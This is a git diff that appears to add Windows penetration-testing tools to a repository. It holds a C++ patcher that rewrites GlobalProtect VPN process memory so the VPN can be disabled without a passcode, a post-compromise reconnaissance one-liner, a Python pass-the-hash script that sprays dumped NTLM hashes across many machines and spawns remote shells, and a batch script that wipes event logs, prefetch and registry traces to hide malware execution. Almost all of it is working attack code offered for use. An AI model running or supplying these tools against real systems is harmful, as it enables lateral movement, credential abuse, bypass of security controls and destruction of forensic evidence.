||||||
|
if(Module32FirstW(hSnapshot, &me32)) {
|
||||||
|
do {
|
||||||
|
dbg(L"Module name: %ls", me32.szModule);
|
||||||
|
|
||||||
|
if (wcsicmp(modName, me32.szModule) == 0) {
|
||||||
|
memset(out, 0, sizeof(struct moduleInfo));
|
||||||
|
|
||||||
|
out->baseAddr = (UINT64)me32.modBaseAddr;
|
||||||
|
out->baseSize = me32.modBaseSize;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} while(Module32NextW(hSnapshot, &me32));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
dbg(L"Module32FirstW failed.");
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hSnapshot);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
dbg(L"CreateToolhelp32Snapshot failed.");
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL patchProcessMemory(
|
||||||
|
const wchar_t * procName,
|
||||||
|
DWORD pid,
|
||||||
|
HANDLE hProcess,
|
||||||
|
const BYTE * patternToFind,
|
||||||
|
size_t patternToFindNum,
|
||||||
|
const BYTE * bytesToBeReplaced,
|
||||||
|
size_t bytesToBeReplacedNum,
|
||||||
|
const BYTE * replacingBytes,
|
||||||
|
size_t replacingBytesNum
|
||||||
|
) {
|
||||||
|
|
||||||
|
struct moduleInfo mod;
|
||||||
|
if (!getProcessModule(procName, pid, &mod)) {
|
||||||
|
dbg(L"Could not find process module. Error: %d", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
dbg(L"Module base: %llx, module size: %d", mod.baseAddr, mod.baseSize);
|
||||||
|
|
||||||
|
BYTE page[4096];
|
||||||
|
|
||||||
|
SIZE_T fetched = 0;
|
||||||
|
UINT64 addr = mod.baseAddr;
|
||||||
|
|
||||||
|
while( fetched < mod.baseSize) {
|
||||||
|
memset(page, 0, sizeof(page));
|
||||||
|
|
||||||
|
SIZE_T out = 0;
|
||||||
|
|
||||||
|
if(ReadProcessMemory(
|
||||||
|
hProcess,
|
||||||
|
reinterpret_cast<LPCVOID>(addr),
|
||||||
|
page,
|
||||||
|
sizeof(page),
|
||||||
|
&out
|
||||||
|
)) {
|
||||||
|
|
||||||
|
UINT64 foundAddr = 0;
|
||||||
|
|
||||||
|
for(size_t m = 0; m < sizeof(page); m++) {
|
||||||
|
if (page[m] == patternToFind[0]) {
|
||||||
|
bool found = true;
|
||||||
|
for(size_t n = 0; n < patternToFindNum; n++) {
|
||||||
|
if(page[m + n] != patternToFind[n]) {
|
||||||
|
found = false;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(found) {
|
||||||
|
dbg(L"Found pattern at: %016llx: %x, %x, %x, %x, %x, %x, %x, %x, ...",
|
||||||
|
addr + m,
|
||||||
|
page[m + 0],
|
||||||
|
page[m + 1],
|
||||||
|
page[m + 2],
|
||||||
|
page[m + 3],
|
||||||
|
page[m + 4],
|
||||||
|
page[m + 5],
|
||||||
|
page[m + 6],
|
||||||
|
page[m + 7]
|
||||||
|
);
|
||||||
|
|
||||||
|
for(size_t n = 0; n < bytesToBeReplacedNum; n++) {
|
||||||
|
if(page[m + patternToFindNum + n] != bytesToBeReplaced[n]) {
|
||||||
|
found = false;
|
||||||
|
|
||||||
|
if ( page[m + patternToFindNum + n] == replacingBytes[n]) {
|
||||||
|
msg(L"Process is already patched.\nNo need to do it again.");
|
||||||
|
alreadyPatched = true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
dbg(L"Assuring pattern failed at byte %d: %x -> %x",
|
||||||
|
n,page[m + patternToFindNum + n], bytesToBeReplaced[n] );
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(found) {
|
||||||
|
foundAddr = addr + m + patternToFindNum;
|
||||||
|
dbg(L"Found pattern at: 0x%llx", foundAddr);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (foundAddr) {
|
||||||
|
dbg(L"Starting patching process from address: %016llx", foundAddr);
|
||||||
|
out = 0;
|
||||||
|
|
||||||
|
if(WriteProcessMemory(
|
||||||
|
hProcess,
|
||||||
|
reinterpret_cast<LPVOID>(foundAddr),
|
||||||
|
replacingBytes,
|
||||||
|
replacingBytesNum,
|
||||||
|
&out
|
||||||
|
)) {
|
||||||
|
dbg(L"Process has been patched, written: %d bytes.", out);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
dbg(L"Process patching failed.");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
fetched += out;
|
||||||
|
addr += out;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CALLBACK WinMain(
|
||||||
|
HINSTANCE hInstance,
|
||||||
|
HINSTANCE hPrevInstance,
|
||||||
|
LPSTR lpCmdLine,
|
||||||
|
int nCmdShow
|
||||||
|
) {
|
||||||
|
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
|
||||||
|
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){
|
||||||
|
msg(L"OpenProcessToken() failed, error %u\n", GetLastError());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(!setPrivilege(hToken, SE_DEBUG_NAME, TRUE)) {
|
||||||
|
msg(L"Failed to enable privilege, error %u\n", GetLastError());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD pid = findProcess(processName);
|
||||||
|
if (!pid) {
|
||||||
|
msg(L"Could not find GlobalProtect process.");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
dbg(L"Found PanGPA process: %d", pid);
|
||||||
|
|
||||||
|
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
||||||
|
if (!hProcess) {
|
||||||
|
msg(L"Could not open GlobalProtect process. Error: %d", GetLastError());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
dbg(L"Opened process handle.");
|
||||||
|
|
||||||
|
BOOL ret = patchProcessMemory(
|
||||||
|
processName,
|
||||||
|
pid,
|
||||||
|
hProcess,
|
||||||
|
patternToFind,
|
||||||
|
sizeof(patternToFind),
|
||||||
|
bytesToBeReplaced,
|
||||||
|
sizeof(bytesToBeReplaced),
|
||||||
|
replacingBytes,
|
||||||
|
sizeof(replacingBytes)
|
||||||
|
);
|
||||||
|
|
||||||
|
if(!ret) {
|
||||||
|
if(!alreadyPatched) {
|
||||||
|
msg(L"Could not patch the process. Error: %d", GetLastError());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
msg(L"Successfully patched the process! :-)\nNow, in order to bypass GlobalProtect - do the following:\n\t1. Right click on GlobalProtect Tray-icon\n\t2. Select 'Disable'\n\t3. In 'Passcode' input field enter whatever you like.\n\t4. Press OK.\n\nThe GlobalProtect should disable itself cleanly.\n\nHave fun!");
|
||||||
|
}
|
||||||
|
|
||||||
|
dbg(L"Closing process handle.");
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,22 @@
|
||||||
|
## Windows penetration testing related scripts, tools and Cheatsheets
|
||||||
|
|
||||||
|
|
||||||
|
- **`GlobalProtectDisable.cpp`** - Global Protect VPN Application patcher allowing the Administrator user to disable VPN without Passcode. ([gist](https://gist.github.com/mgeeky/54ac676226a1a4bd9fd8653e24adc2e9))
|
||||||
|
|
||||||
|
Steps are following:
|
||||||
|
|
||||||
|
1. Launch the application as an Administrator
|
||||||
|
2. Read instructions carefully and press OK
|
||||||
|
3. Right-click on GlobalProtect tray-icon
|
||||||
|
4. Select "Disable"
|
||||||
|
5. Enter some random meaningless password
|
||||||
|
|
||||||
|
After those steps - the GlobalProtect will disable itself cleanly.
|
||||||
|
From now on, the GlobalProtect will remain disabled until you reboot the machine (or restart the PanGPA.exe process or PanGPS service).
|
||||||
|
|
||||||
|
|
||||||
|
- **`awareness.bat`** - Little and quick Windows Situational-Awareness set of commands to execute after gaining initial foothold (coming from APT34: https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html ) ([gist](https://gist.github.com/mgeeky/237b48e0bb6546acb53696228ab50794))
|
||||||
|
|
||||||
|
- **`pth-carpet.py`** - Pass-The-Hash Carpet Bombing utility - trying every provided hash against every specified machine. ([gist](https://gist.github.com/mgeeky/3018bf3643f80798bde75c17571a38a9))
|
||||||
|
|
||||||
|
- **`win-clean-logs.bat`** - Batch script to hide malware execution from Windows box. Source: Mandiant M-Trends 2017. ([gist](https://gist.github.com/mgeeky/3561be7e697c62f543910851c0a26d00))
|
|
@ -0,0 +1 @@
|
||||||
|
@echo off&chcp 65001& whoami 2>&1 & hostname 2>&1 & echo ________________________________IpConfig______________________________ & ipconfig /all 2>&1 & echo __________________________Domian Admins_______________________________ & net group "domain admins" /domain 2>&1 & echo _______________________net local group members________________________ & net localgroup administrators 2>&1 & echo ________________________________netstat_______________________________ & netstat -an 2>&1 & echo _____________________________systeminfo_______________________________ & systeminfo 2>&1 & echo ________________________________RDP___________________________________ & reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" 2>&1 & echo ____________________________Custom Command_______________________________ & wmic os get Caption /value | more 2>&1 & echo ________________________________Task__________________________________ & schtasks /query /FO List /TN "GoogleUpdateTasksMachineUI" /V | findstr /b /n /c:"Repeat: Every:" 2>&1 & echo ______________________________________________________________________
|
|
@ -0,0 +1,222 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
#
|
||||||
|
# Simple script intended to perform Carpet Bombing against list
|
||||||
|
# of provided machines using list of provided LSA Hashes (LM:NTLM).
|
||||||
|
# The basic idea with Pass-The-Hash attack is to get One hash and use it
|
||||||
|
# against One machine. There is a problem with this approach of not having information,
|
||||||
|
# onto what machine we could have applied the hash.
|
||||||
|
# To combat this issue - the below script was born.
|
||||||
|
#
|
||||||
|
# Requirements:
|
||||||
|
# This script requires 'pth-winexe' utility (or winexe renamed to pth-winexe') be present
|
||||||
|
# within system during script's invocation. In case this utility will not be present -
|
||||||
|
# no further check upon ability to run commands from PTH attack - will be displayed.
|
||||||
|
# Also, modules such as:
|
||||||
|
# - impacket
|
||||||
|
#
|
||||||
|
# Notice:
|
||||||
|
# This script is capable of verifying exploitability of only Windows boxes. In case
|
||||||
|
# of other type of boxes (running Samba) pth-winexe will not yield satisfying results.
|
||||||
|
#
|
||||||
|
# Usage:
|
||||||
|
# $ ./pth-carpet.py machines.txt pwdump
|
||||||
|
#
|
||||||
|
# coded by:
|
||||||
|
# Mariusz B., 2016 / mgeeky
|
||||||
|
# version 0.2
|
||||||
|
#
|
||||||
|
# Should be working on Windows boxes as well as on Linux ones.
|
||||||
|
#
|
||||||
|
|
||||||
|
from __future__ import print_function
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import argparse
|
||||||
|
import signal
|
||||||
|
import logging
|
||||||
|
import threading
|
||||||
|
import subprocess
|
||||||
|
import multiprocessing
|
||||||
|
|
||||||
|
from termcolor import colored
|
||||||
|
from functools import partial
|
||||||
|
from multiprocessing.managers import BaseManager
|
||||||
|
from impacket.dcerpc.v5 import transport
|
||||||
|
|
||||||
|
WORKERS = multiprocessing.cpu_count() * 4
|
||||||
|
TIMEOUT = 10
|
||||||
|
OPTIONS = None
|
||||||
|
LOCK = multiprocessing.Lock()
|
||||||
|
|
||||||
|
def info(txt):
|
||||||
|
with LOCK:
|
||||||
|
print (txt)
|
||||||
|
|
||||||
|
def success(txt):
|
||||||
|
info(colored('[+] '+txt, 'green', attrs=['bold']))
|
||||||
|
|
||||||
|
def warning(txt):
|
||||||
|
info(colored('[*] '+txt, 'yellow'))
|
||||||
|
|
||||||
|
def verbose(txt):
|
||||||
|
if OPTIONS.v:
|
||||||
|
info(colored('[?] '+txt, 'white'))
|
||||||
|
|
||||||
|
def err(txt):
|
||||||
|
info(colored('[!] '+txt, 'red'))
|
||||||
|
|
||||||
|
class Command(object):
|
||||||
|
def __init__(self, cmd):
|
||||||
|
self.cmd = cmd
|
||||||
|
self.process = None
|
||||||
|
self.output = ''
|
||||||
|
self.error = ''
|
||||||
|
verbose( '\tCalling: "%s"' % cmd)
|
||||||
|
|
||||||
|
def get_output(self):
|
||||||
|
return self.output, self.error
|
||||||
|
|
||||||
|
def run(self, stdin, timeout):
|
||||||
|
def target():
|
||||||
|
self.process = subprocess.Popen(self.cmd, shell=True, \
|
||||||
|
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
|
||||||
|
self.output, self.error = self.process.communicate(stdin)
|
||||||
|
|
||||||
|
thread = threading.Thread(target=target)
|
||||||
|
thread.start()
|
||||||
|
thread.join(timeout)
|
||||||
|
if thread.is_alive():
|
||||||
|
self.process.terminate()
|
||||||
|
thread.join()
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
return True
|
||||||
|
|
||||||
|
def init_worker():
|
||||||
|
# http://stackoverflow.com/a/6191991
|
||||||
|
signal.signal(signal.SIGINT, signal.SIG_IGN)
|
||||||
|
|
||||||
|
def cmd_exists(cmd):
|
||||||
|
return subprocess.call("type " + cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0
|
||||||
|
|
||||||
|
def check_rce(host, username, hash, port):
|
||||||
|
verbose('\tChecking whether provided hash can be used to PTH remote code execution')
|
||||||
|
|
||||||
|
if cmd_exists('pth-winexe'):
|
||||||
|
userswitch = '%s%%%s' % (username, hash)
|
||||||
|
c = Command('pth-winexe -U %s //%s cmd' % (userswitch, host))
|
||||||
|
if c.run('exit\n', TIMEOUT):
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
verbose('\tPTH-Winexe had to be terminated.')
|
||||||
|
out, error = c.get_output()
|
||||||
|
if 'Microsoft' in out and '(C) Copyright' in out and '[Version' in out:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
errorm = error[error.find('NT_STATUS'):].strip()
|
||||||
|
if not errorm.startswith('NT_STATUS'):
|
||||||
|
if 'NT_STATUS' in error:
|
||||||
|
errorm = error
|
||||||
|
else:
|
||||||
|
errorm = 'Unknown error'
|
||||||
|
if OPTIONS.v:
|
||||||
|
err('\tCould not spawn shell using PTH: ' + errorm)
|
||||||
|
else:
|
||||||
|
warning('\tPlease check above hash whether using it you can access writeable $IPC share to execute cmd.')
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def login(host, username, hash, port):
|
||||||
|
stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % host
|
||||||
|
|
||||||
|
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||||
|
rpctransport.set_dport(port)
|
||||||
|
|
||||||
|
lmhash, nthash = hash.split(':')
|
||||||
|
rpctransport.set_credentials(username, '', '', lmhash, nthash, None)
|
||||||
|
|
||||||
|
dce = rpctransport.get_dce_rpc()
|
||||||
|
try:
|
||||||
|
dce.connect()
|
||||||
|
return check_rce(host, username, hash, port)
|
||||||
|
except Exception, e:
|
||||||
|
raise e
|
||||||
|
|
||||||
|
def correct_hash(hash):
|
||||||
|
lmhash, nthash = hash.split(':')
|
||||||
|
if '*' in lmhash:
|
||||||
|
lmhash = '0' * 32
|
||||||
|
if '*' in nthash:
|
||||||
|
nthash = '0' * 32
|
||||||
|
|
||||||
|
return lmhash + ':' + nthash
|
||||||
|
|
||||||
|
def worker(stopevent, pwdump, machine):
|
||||||
|
for user, hash in pwdump.items():
|
||||||
|
if stopevent.is_set():
|
||||||
|
break
|
||||||
|
|
||||||
|
hash = correct_hash(hash)
|
||||||
|
try:
|
||||||
|
if login(machine, user, hash, OPTIONS.port):
|
||||||
|
success('Pass-The-Hash with shell spawned: %s@%s (%s)' % (user, machine, hash))
|
||||||
|
else:
|
||||||
|
if OPTIONS.v:
|
||||||
|
warning('Connected using PTH but could\'nt spawn shell: %s@%s (%s)' % (user, machine, hash))
|
||||||
|
except Exception, e:
|
||||||
|
verbose('Hash was not accepted: %s@%s (%s)\n\t%s' % (user, machine, hash, str(e)))
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global OPTIONS
|
||||||
|
|
||||||
|
print(colored('\n\tPass-The-Hash Carpet Bombing utility\n\tSmall utility trying every provided hash against every specified machine.\n\tMariusz B., 2016\n', 'white', attrs=['bold']))
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(add_help = True, description='Pass-The-Hash mass checking tool')
|
||||||
|
parser.add_argument('rhosts', nargs='?', help='Specifies input file containing list of machines or CIDR notation of hosts')
|
||||||
|
parser.add_argument('hashes', nargs='?', help='Specifies input file containing list of dumped hashes in pwdump format')
|
||||||
|
parser.add_argument('-v', action='store_true', help='Verbose mode')
|
||||||
|
parser.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar='smb port', help='Destination port used to connect into SMB Server')
|
||||||
|
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
parser.print_help()
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
OPTIONS = parser.parse_args()
|
||||||
|
|
||||||
|
machines = [x.strip() for x in open(OPTIONS.rhosts).readlines() ]
|
||||||
|
rawpwdump = [x.strip() for x in open(OPTIONS.hashes).readlines() ]
|
||||||
|
pwdump = {}
|
||||||
|
|
||||||
|
for p in rawpwdump:
|
||||||
|
try:
|
||||||
|
user = p.split(':')[0]
|
||||||
|
hash = p.split(':')[2] + ':' + p.split(':')[3]
|
||||||
|
except:
|
||||||
|
err('Supplied hashes file does not conform PWDUMP format!')
|
||||||
|
err('\tIt must be like this: <user>:<id>:<lmhash>:<nthash>:...')
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
pwdump[user] = hash
|
||||||
|
|
||||||
|
warning('Testing %d hashes against %d machines. Resulting in total in %d PTH attempts\n' \
|
||||||
|
% (len(pwdump), len(machines), len(pwdump) * len(machines)))
|
||||||
|
|
||||||
|
stopevent = multiprocessing.Manager().Event()
|
||||||
|
|
||||||
|
try:
|
||||||
|
pool = multiprocessing.Pool(WORKERS, init_worker)
|
||||||
|
func = partial(worker, stopevent, pwdump)
|
||||||
|
pool.map_async(func, machines)
|
||||||
|
pool.close()
|
||||||
|
pool.join()
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
pool.terminate()
|
||||||
|
pool.join()
|
||||||
|
success('\nUser interrupted the script.')
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
|
@ -0,0 +1,13 @@
|
||||||
|
@echo off
|
||||||
|
del /f /q /s %windir%\prefetch\*
|
||||||
|
reg delete “HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache” /va /f
|
||||||
|
reg delete “HKLM\Software\Microsoft\Windows\ShellNoRoam\MUICache” /va /f
|
||||||
|
reg delete “HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache” /va /f
|
||||||
|
reg delete “HKLM\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache” /va /f
|
||||||
|
reg delete “HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU” /va /f
|
||||||
|
reg delete “HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist” /va /f
|
||||||
|
wmic nteventlog where LogFileName=’File Replication Service’ Call ClearEventlog
|
||||||
|
wmic nteventlog where LogFileName=’Application’ Call ClearEventlog
|
||||||
|
wmic nteventlog where LogFileName=’System’ Call ClearEventlog
|
||||||
|
wmic nteventlog where LogFileName=’PowerShell’ Call ClearEventlog
|
||||||
|
ren %1 temp000 & copy /y %windir%\regedit.exe temp000 & del temp000
|
Loading…
Reference in New Issue